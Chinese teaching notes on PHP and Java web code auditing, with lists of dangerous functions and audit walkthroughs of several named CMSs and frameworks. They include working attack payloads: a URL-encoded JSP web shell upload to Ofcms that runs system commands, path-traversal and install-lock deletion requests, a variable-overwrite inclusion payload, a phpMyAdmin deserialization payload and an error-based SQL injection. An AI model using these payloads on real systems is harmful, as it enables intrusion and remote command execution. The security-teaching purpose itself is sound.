代码审计教学计划:
审计项目漏洞 Demo->审计思路->完整源码框架->验证并利用漏洞
代码审计教学内容:
PHP,JAVA 网站应用,引入框架类开发源码,相关审计工具及插件使用
代码审计必备知识点:
环境安装搭建使用,相关工具插件安装使用,掌握前期各种漏洞原理及利用
代码审计开始前准备:
审计目标的程序名,版本,当前环境(系统,中间件,脚本语言等信息),各种插件等
代码审计挖掘漏洞根本:
可控变量及特定函数,不存在过滤或过滤不严谨存在绕过导致的安全漏洞
定点挖掘关键字可控变量变量接受get post接受关键字$_GET特定函数输出print数据库操作特定关键字:select insert update sql执行语句== sql注入漏洞搜索特定关键字尝试寻找特定漏洞如:搜索echo print尝试挖掘的就是xss漏洞如:搜索$_GET $_POST尝试挖掘的就是提交类型漏洞定点挖掘功能点如:我要挖掘文件上传,会员中心存在文件上传的操作地址,抓包分析找到源码中的特定文件代码段,进行文件上传代码分析挖掘!拓展:视漏洞而定sql注入数据库监控-监控到当前页面和数据库的交互过程(SQL执行语句)断点调试︰访问页面对应代码进行断点调试(执行过程前后顺序,调用文件列表等)注册用户: insert xiaodi union select'
过滤: xiaodi union select\'
进入数据库: xiaodi union select'
修改用户: update xiaodi union select' 条件=用户名是谁 xiaodi'union select
update注入二次注入原理:绕过转义注入魔术引号
简易 SQL 注入代码段分析挖掘思路
QQ 业务图标点亮系统挖掘-数据库监控追踪
74CMS 人才招聘系统挖掘-2 次注入应用功能(自带转义)
苹果 CMS 影视建站系统挖掘-数据库监控追踪(自带过滤)
数据库监控脚本类,关键字搜索,业务应用分析等
https://www.cnblogs.com/ichunqiu/p/9548754.html
知识点 1:
#关键字搜索:(函数,键字,全局变量等)
文件上传,$_FILES,move_uploaded_file 等
#应用功能抓包:(任何可能存在上传的应用功能点)
前台会员中心,后台新闻添加等可能存在上传的地方
知识点 2:
MVC 开发框架类:https://www.cnblogs.com/wsybky/p/8638876.html
知识点 3:
Thinkphp 框架:https://sites.thinkphp.cn/1556331
PHP 文件上传全局变量$_FILES
PHPStorm+xdebu 断点调试演示
Beescms 无框架后台任意文件上传
Finecms 基于前台 MVC 任意文件上传
Cltphp 基于前台 TP5 框架任意文件上传
搜索$_FILES->后台中心->上传图像->跟踪代码->逻辑判断
业务功能分析->会员中心->上传图像->跟踪代码->逻辑判断
搜索文件上传->会员中心->上传图像->跟踪代码->逻辑判断
https://sites.thinkphp.cn/1556331
https://www.cnblogs.com/wsybky/p/8638876.html
https://blog.csdn.net/yinhangbbbbb/article/details/79247331
SQL 注入:
select insert update mysql_query mysqli 等
文件上传:
$_FILES,type="file",上传,move_uploaded_file()等
XSS 跨站:
print print_r echo sprintf die var_dump var_export 等
文件包含:
include include_once require require_once 等
代码执行:
eval assert preg_replace call_user_func call_user_func_array 等
命令执行:
system exec shell_exec `` passthru pcntl_exec popen proc_open
变量覆盖:
extract() parse_str() importrequestvariables() $$等
反序列化:
serialize() unserialize() __construct __destruct 等
其他漏洞:
unlink() file_get_contents() show_source() file() fopen()等
$_GET,$_POST,$_REQUEST,$_FILES,$_SERVER 等
功能点或关键字分析可能存在漏洞
抓包或搜索关键字找到代码出处及对应文件
追踪过滤或接受的数据函数,寻找触发此函数或代码的地方进行触发测试
http://192.168.0.102:91/?r=../../index.txt%00
http://192.168.0.102:94/admin/save.php?act=delfile
path=/upload/../install/install.lock
xhcms-无框架-文件包含跨站-搜索或应用-include
通过应用及 URL 地址等分析可能存在 xss 及包含安全
抓包找到 XSS 无过滤代码块及文件包含有后缀需绕过代码块
earmusic-无框架-文件下载-搜索或应用功能-down
通过应用分析或搜索判断可能存在文件下载操作
抓包分析下载地址找到对应代码块,文件下载地址由$file 控制
$file 从数据库查询语句得知,追踪那里可更新或更改此类数据
尝试修改发现过滤,追踪过滤机制分析绕过,采用全路径地址绕过
zzzcms-无框架-文件删除 RCE-搜索或应用-unlink,eval
文件删除搜索关键字 unlink,对应函数 del_file,查看调用此的地方
后台 delfile 函数调用,如何处罚 delfile 函数,受参数控制,进行测试
代码执行搜索关键字 eval,对应配置模版解析文件,查看调用此的地方
判断后台可修改模版文件,前台触发模版文件,构造 payload 进行测试
SQL 注入:
select insert update mysql_query mysqli 等
文件上传:
$_FILES,type="file",上传,move_uploaded_file()等
XSS 跨站:
print print_r echo sprintf die var_dump var_export 等
文件包含:
include include_once require require_once 等
代码执行:
eval assert preg_replace call_user_func call_user_func_array 等
命令执行:
system exec shell_exec `` passthru pcntl_exec popen proc_open
变量覆盖:
extract() parse_str() importrequestvariables() $$等
反序列化:
serialize() unserialize() __construct __destruct 等
其他漏洞:
unlink() file_get_contents() show_source() file() fopen()等
$_GET,$_POST,$_REQUEST,$_FILES,$_SERVER 等
功能点或关键字分析可能存在漏洞
抓包或搜索关键字找到代码出处及对应文件
追踪过滤或接受的数据函数,寻找触发此函数或代码的地方进行触发测试
Metinfo-无框架-变量覆盖-自动审计或搜索
phpmydmin-无框架-反序列化-自动审计或搜索
Thinkphp5-有框架-搭建使用入口访问调试 SQL 等
自动审计或搜索关键字找到文件及代码段,全局配置文件搜索或访问触发全局配置文件配合手写代码测试变量覆盖
配合文件包含漏洞覆盖指定文件实现文件包含攻击获取权限追踪$module 变量出处文件,然后分析如何覆盖它达到目的
Payload:/about/index.php?fmodule=7&module=1.txt
自动审计或搜索关键字找到文件及代码段
__wakeup() //使用 unserialize 时触发
__sleep() //使用 serialize 时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用 isset()或 empty()触发
__unset() //在不可访问的属性上使用 unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发
找到__wakeup()代码段,代码段调用函数中存在 eval 等函数操作,调试 load
构造 getSource()利用 Payload,实现 file_get_contents 函数配合 eval 执行
Payload:action=test&configuration=O:10:“PMA_Config”:1:{s:6:“source”,s:11:“d:/test.txt”;}
入口文件,调试模式,访问路由,访问对应,内置安全等
测试访问不同方法名,不同文件不同方法名
测试常规写法 SQL 注入,TP5 规定写法 SQL 注入
https://www.kancloud.cn/thinkphp/thinkphp5_quickstart
demo 代码段自写和规则写分析
hsycms-TP 框架-不安全写法-未过滤
weipan21-TP 框架-规则写法-内置过滤
https://github.com/Mochazz/ThinkPHP-Vuln
https://github.com/cw1997/MySQL-Monitor
必备知识点:
简要理解JAVAWEE项目组成
代码方面,框架方面,中间件容器方面等
简要理解JAVAwEB执行流程com:
公司项目,copyright由项目发起的公司所有
包名为com.公司名.项目名.模块名....…
持久层: dao、persist、mapper
实体类: entity、model、bean、javabean、 pojo
业务逻辑: service、biz
控制器:controller、servlet、action、web
过滤器:filter
异常: exception
监听器: listener
在不同的框架下一般包的命名规则不同,但大概如上,不同功能的Java文件放在不同的包中,根据Java文件的功能统一安放及命名。
根据业务功能审计优点:
明确程序的架构以及业务逻辑,明确数据流向,
可以从获取参数–>表现层–>业务层–>持久层,通读源码;
缺点:耗时间
根据敏感函数审计优点:
可以快速高效的挖出想要的漏洞,判断敏感函数上下文,追踪参数源头;
缺点:覆盖不了逻辑漏洞,不了解程序的基本框架;
1、确定框架;
通过以下三种方式确定框架:
wep . xml
看导入的jar包或pom . xml
看配置文件
struts2配置文件:struts . xml
spring 配置文件: applicationcontext.xml
spring Mvc配置文件: spring-mvc.xml
Hibernate 配置文件:Hibernate.cfg.xml
Mybaits 配置文件: mybatis-config.xml
2、查看是否存在拦截器
通过查看web . xml文件,确定是否配置相关拦截器。
简易 Demo 段 SQL 注入及预编译
IDEA 审计插件 FindBugs 安装使用
Fortify_SCA 代码自动审计神器使用
Ofcms 后台 SQL 注入-全局搜索关键字
Ofcms 后台任意文件上传-功能点测试
OfcmsPayload:
file_path=&dirs=%2F&res_path=res&file_name=../../static/jsp_shell.jsp&file_content=%3C%25%0A++++if
(%22p0desta%22.equals(request.getParameter(%22pwd%22)))%7B%0A++++++++java.io.InputStream+in+%3
D+Runtime.getRuntime().exec(request.getParameter(%22i%22)).getInputStream()%3B%0A++++++++int+a
+%3D+-
1%3B%0A++++++++byte%5B%5D+b+%3D+new+byte%5B2048%5D%3B%0A++++++++out.print(%22%3Cpr
e%3E%22)%3B%0A++++++++while((a%3Din.read(b))!%3D1)%7B%0A++++++++++++out.println(new+String(b))%3B%0A++++++++%7D%0A++++++++out.print(%22%3
C%2Fpre%3E%22)%3B%0A++++%7D%0A%25%3E
update of_cms_link set link_name=updatexml(1,concat(0x7e,(database())),0) where link_id=4
https://www.cnblogs.com/csnd/p/11807776.html
https://blog.csdn.net/x62982/article/details/88392968
https://blog.csdn.net/weily11/article/details/80643472
https://www.cnblogs.com/kingsonfu/p/12419817.html
https://www.cnblogs.com/1987721594zy/p/9186584.html
思路:看构成,看指向,看配置,看代码-寻绕过
Filter 过滤器配置启用及查看
Demo 代码测试引用过滤器测试
Jeesns 过滤器分析绕过防护代码
Struts2 框架类过滤器简要分析测试
web.xml 查看 Filter 过滤器名字,对应 class,触发 URL,生效规则等
Filter 是 JavaWeb 中的过滤器,用于过滤 URL 请求。通过 Filter 我们可以实现 URL 请求资源权限验证、用户登陆检测等功能。
Filter 是一个接口,实现一个 Filter 只需要重写 init 、 doFilter 、 destroy 方法即可,其中过滤逻辑都在 doFilter 方法中实现。
Filter 和 Servlet 一样是 Java Web 中最为核心的部分,使用 Servlet 和 Filter 可以实现后端接口开发和权限控制,当然使用 Filter 机制也可以实现 MVC 框架, Struts2 实现机制就是使用的 Filter。
Filter 的配置类似于 Servlet,由 和 两组标签组成,如果 Servlet 版本大于 3.0 同样可以使用注解的方式配置 Filter。
简称 OGNL,对象导航图语言(Object Graph Navigation Language),是应用于 Java 中的一个开源的表达式语言(Expression Language),它被集成在 Struts2 等框架中,作用是对数据进行访问,它拥有类型转换、访问对象方法、操作集合对象等功能。
Spring Expression Language(缩写为 SpEL)是一种强大的表达式语言。在 Spring 产品组合中,它是表达式计算的基础。它支持在运行时查询和操作对象图,它可以与基于 XML 和基于注解的 Spring 配置还有 bean 定义一起使用。由于它能够在运行时动态分配值,因此可以为我们节省大量 Java 代码。
1、HttpServeletRequest
请求信息。
2、ActionContextCleanUP
3、Other filters
2,3 不重要,貌似现在已经没用了。
4、Filter Dispatcher
过滤器,这个应该是最底层的过滤器。
5、ActionMapper
Struts2 中主要检测请求信息是否需要 Struts2 处理。
6、ActionProxy
一个中间层,就是可以调用其他类什么的。
7、ConfigurationManager
ConfigurationManager 则负责将 struts.xml 文件中配置文件映射到内存中去的
8、Struts.xml
Struts 配置文件需要程序员填写。
9、ActionInvocation
包含四个属性分别获取前端传递的值,action,struts.xml 信息,其他一些数据。
10、Interceptor
拦截器不是太理解应该是获取前端传递的属性值,然后封装到 action 的属性域中。
11、Tag Subsystem
Struts2 自带标签库没用
12、Templete
Struts2 的前端模版,没用吧,不清楚。
13、HttpServletResponse
响应用户的类。断点调试查看执行代码文件分析
根据st2框架执行流程测试:对比上图
未触发关键字-断点文件-调试到过滤器
触发关键字-断点文件-未调试到过滤器
Filter 是基于函数回调的,而 Interceptor 则是基于 Java 反射的。
Filter 依赖于 Servlet 容器,而 Interceptor 不依赖于 Servlet 容器。
Filter 对几乎所有的请求起作用,而 Interceptor 只能对 action 请求起作用。
Interceptor 可以访问 Action 的上下文,值栈里的对象,而 Filter 不能。
最重要的要记住他们的执行顺序: 先 filter 后 interceptor,另外在不同框架中有的是自带有的是需要自写,具体可以查看开发资料
struts2
已知漏洞:找框架自身的版本,利用漏洞库去确定漏洞未知漏洞:执行流程,过滤器,拦截器,框架特性验证:
采用断点调试,确定.action文件断点后,无法拦截执行请求,说明满足路由规则请求方法后跳出过滤拦截器,绕过实现ongl表达式漏洞.spring
已知漏洞:找框架自身的版本,利用漏洞库去确定漏洞有spel表达式注入漏洞-未知漏洞测试
从自身源码分析到文件sql语句中有注入漏洞,尝试成功(未发现过滤器及拦截器)总结:
1.先确定源码中是否存在框架-执行流程,特性(表达式,拦截器或过滤器自带或自写? ) ,已知的框架版本漏洞利用
2.确定源码中是否存在过滤器–自带或引用或自定义拦截规则
3.过滤器中怎么触发,过滤器规则
https://blog.csdn.net/u011721501/article/details/41735885